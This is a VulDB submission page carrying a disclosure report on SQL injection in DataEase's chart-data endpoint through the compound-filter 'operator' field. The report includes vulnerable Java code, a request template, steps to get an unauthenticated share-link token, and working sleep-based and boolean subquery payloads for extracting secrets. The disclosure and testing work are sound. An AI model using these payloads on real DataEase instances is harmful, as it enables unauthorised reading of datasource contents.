提出 #1035483: FIT2CLOUD DataEase (open-source BI platform; vulnerable classes in the in-repo `core/core-backend` module bundled into the community distribution) 2.x <= 2.10.26 and 3.x <= 3.0.0 (the operator-logic concatenation is byte-identical in the `v2.10.26` and `v情報

タイトルFIT2CLOUD DataEase (open-source BI platform; vulnerable classes in the in-repo `core/core-backend` module bundled into the community distribution) 2.x <= 2.10.26 and 3.x <= 3.0.0 (the operator-logic concatenation is byte-identical in the `v2.10.26` and `v
説明SQL injection via the compound-filter operator in the DataEase chart-data endpoint Vendor: FIT2CLOUD Affected versions: 2.x <= 2.10.26 and 3.x <= 3.0.0 (the operator-logic concatenation is byte-identical in the `v2.10.26` and `v3.0.0` tags); tested at released build 2.10.26, commit `0a9eaf6af890bbc91ebcd71a8a8013f917846245` (runtime built from exactly that commit); the branch exists since the compound-filter feature commit `0145f67d7d` (2024-04-10) Vulnerability class: SQL injection (CWE-89) Preconditions: Holder of a public dashboard share link — no DataEase account of any kind. The link token is issued by the unauthenticated `POST /de2api/share/validate` for the share's 8-character uuid (presented with no password). Anyone a share URL is distributed to (or who brute-forces the 62^8 uuid space) qualifies. Anyone holding a public dashboard share link — no account of any kind needed — can make the server run SQL expressions of their own choosing against the chart's datasource and read the answers out of the returned row counts. Data flow: request JSON `chartExtRequest.filter[].operator` at `POST /de2api/chartData/getData` → `ChartDataManage.calcData` verbatim copy (`ChartDataManage.java:154-230`, `:236-290`) → `ExtWhere2Str.extWhere2sqlOjb` (`ChartDataManage.java:410`) middle-segment concatenation (`ExtWhere2Str.java:155-160`) → `CalciteProvider` single prepared statement (`CalciteProvider.java:337/595`). ### Affected interfaces | Interface | |---| | POST /de2api/chartData/getData (JSON `ChartViewDTO`; `chartExtRequest.filter[].operator`) — `ChartDataServer.getData` (`ChartDataServer.java:82`) | | Same sink reached by the chart handlers sharing `ExtWhere2Str` (`TableNormalHandler.java:146`, `MixHandler.java:158`, `YoyChartHandler.java:85`) | Primary route detail: ``` POST /de2api/chartData/getData HTTP/1.1 X-DE-LINK-TOKEN: <share-link JWT> {"id":"<chart id>","sceneId":"<scene id>","tableId":"<table id>", "chartExtRequest":{"filter":[{"fieldId":"<field>","operator":"<payload>","value":["1","2"],"isTree":false}]}} ``` The compound-filter `operator` string is split on `-` and its middle segment — meant to be exactly `and` or `or` — is concatenated raw into the WHERE fragment, turning the chart-data response into a boolean/timing oracle over the datasource. ### Root cause ```java if (StringUtils.containsIgnoreCase(request.getOperator(), "-")) { String[] split = request.getOperator().split("-"); String term1 = split[0]; String logic = split[1]; // attacker-controlled, never validated String term2 = split[2]; whereValue = Utils.transFilterTerm(term1) + getValue(term1, value.get(0)) + " " + logic + " " + whereName + Utils.transFilterTerm(term2) + getValue(term2, value.get(1)); } ``` (`engine/trans/ExtWhere2Str.java:155-160`; the middle segment is concatenated raw into the WHERE fragment the provider executes, `datasource/provider/CalciteProvider.java:337/595`.) 1. **Source:** `ChartViewDTO.chartExtRequest.filter[]` is a list of `ChartExtFilterDTO` whose `operator` is a plain unvalidated `String` (`sdk/extensions/extensions-view/.../dto/ChartExtFilterDTO.java:16`). 2. **Propagation:** `ChartDataManage.calcData` copies each request filter verbatim and passes them to `ExtWhere2Str.extWhere2sqlOjb` (`ChartDataManage.java:410`). 3. **Missing guards:** `Utils.transFilterTerm` (`engine/utils/Utils.java:194-242`) is a whitelist switch whose `default` branch returns `""` instead of throwing, so `eq-<payload>-eq` passes silently; no `validateSqlInjectionRisk`/deny-list is applied to `operator` anywhere on the path. The filter *values* in this same file are sanitized (`sanitizeSqlLiteral`/`NUMBER_PATTERN`, `ExtWhere2Str.java:381-395`), so the operator middle segment is the remaining free-text element that reaches SQL raw. `checkLinkChart` (`chart/manage/ChartViewManage.java:172-196`) pins only `sceneId`/`tableId` and performs no content validation of the filter. The `operator` field is a closed-vocabulary control parameter (single terms and the range logic are expected to be from a fixed set); the compound middle segment is meant to be exactly `and`/`or`. A share-link viewer is granted data viewing, not SQL composition — this parameter escapes its vocabulary into the executed statement. Baseline: commit `0a9eaf6af890bbc91ebcd71a8a8013f917846245` (2.10.26), self-hosted on `127.0.0.1:18701` with local MariaDB 10.6 + Redis; share provisioned on the seeded demo scene (`985192741891870720`, chart `985192540103905280`, table `985189053949415424`); canary table `dataease10.cv4_de_canary(id, secret)` with rows `(1,'cv4canary-exfil'), (2,'decoy')` created for the test. **1. Obtain the share-link bearer credential (no account):** ``` POST /de2api/share/validate {"ciphertext": "<RSA-PKCS1 of \"7MjZnLz4,\">"} # share uuid + empty password -> 200, response header X-DE-LINK-TOKEN: <147-byte JWT> # endpoint is whitelisted (WhitelistUtils.WHITE_PATH) ``` **2. Call chart data with filter operator payloads (only header: X-DE-LINK-TOKEN):** | operator payload | HTTP / body code | latency | `data.data.tableRow` | |---|---|---|---| | none (no filter) | 200 / 0 | 0.1s | 8 | | `eq-and-eq` (benign intended usage) | 200 / 0 | 0.1s | 0 | | `eq- or sleep(5) or -eq` | 200 / 50002 | 30.1s | 0 — `SQL ERROR: (conn=565) Query execution was interrupted (max_statement_time exceeded)` | | `eq- or (SELECT ASCII(SUBSTRING(secret,1,1)) FROM cv4_de_canary WHERE id=1) = 99 or -eq` | 200 / 0 | 0.1s | 8 | | same with `= 101` | 200 / 0 | 0.1s | 0 | | same with `= 999` | 200 / 0 | 0.1s | 0 | **3. Independent confirmation the operator text reaches the executed statement:** a MariaDB error echo during the session showed the injected text inside the final datasource SQL: `... near 'SELECT `name` FROM `de_engine`.`cv4canary` LIMIT 1))) OR CAST(`t_a_0`.`f_878c...` **4. Negative control:** the no-filter call returns 8 rows in 0.1s and the benign `eq-and-eq` call (the compound-operator feature's intended usage) returns 0 rows in 0.1s — the endpoint and the compound-operator path behave normally without payloads; and against the true predicate (8 rows), the two false predicates (`= 101`, `= 999`, both 0 rows) show the row count flips exactly with the attacker subquery's truth value. All testing was performed against a self-hosted instance on the reporter's own host. No third-party system, production instance or customer data was involved. - **Vendor contact**: GitHub Private Vulnerability Reporting - dataease/dataease - **Status**: vendor notified 2026-10-06 through GitHub Private Vulnerability Reporting; private report <<GHSA_LINK>>; not publicly disclosed; no CVE assigned - **Duplicate check**: public advisories (NVD/OSV/GitHub) and the project issue tracker were searched before reporting; please tell us if this duplicates something already tracked internally.
ソース⚠️ https://github.com/dataease/dataease
ユーザー
 lucasg2g (UID 84737)
送信2026年10月15日 07:31 (23 日 ago)
モデレーション2026年11月06日 19:27 (23 days later)
ステータス承諾済み
VulDBエントリ432069 [DataEase 迄 2.10.27/3.1.0 Chart Data ExtWhere2Str.java ExtWhere2Str.extWhere2sqlOjb operator SQLインジェクション]
ポイント20

Do you want to use VulDB in your project?

Use the official API to access entries easily!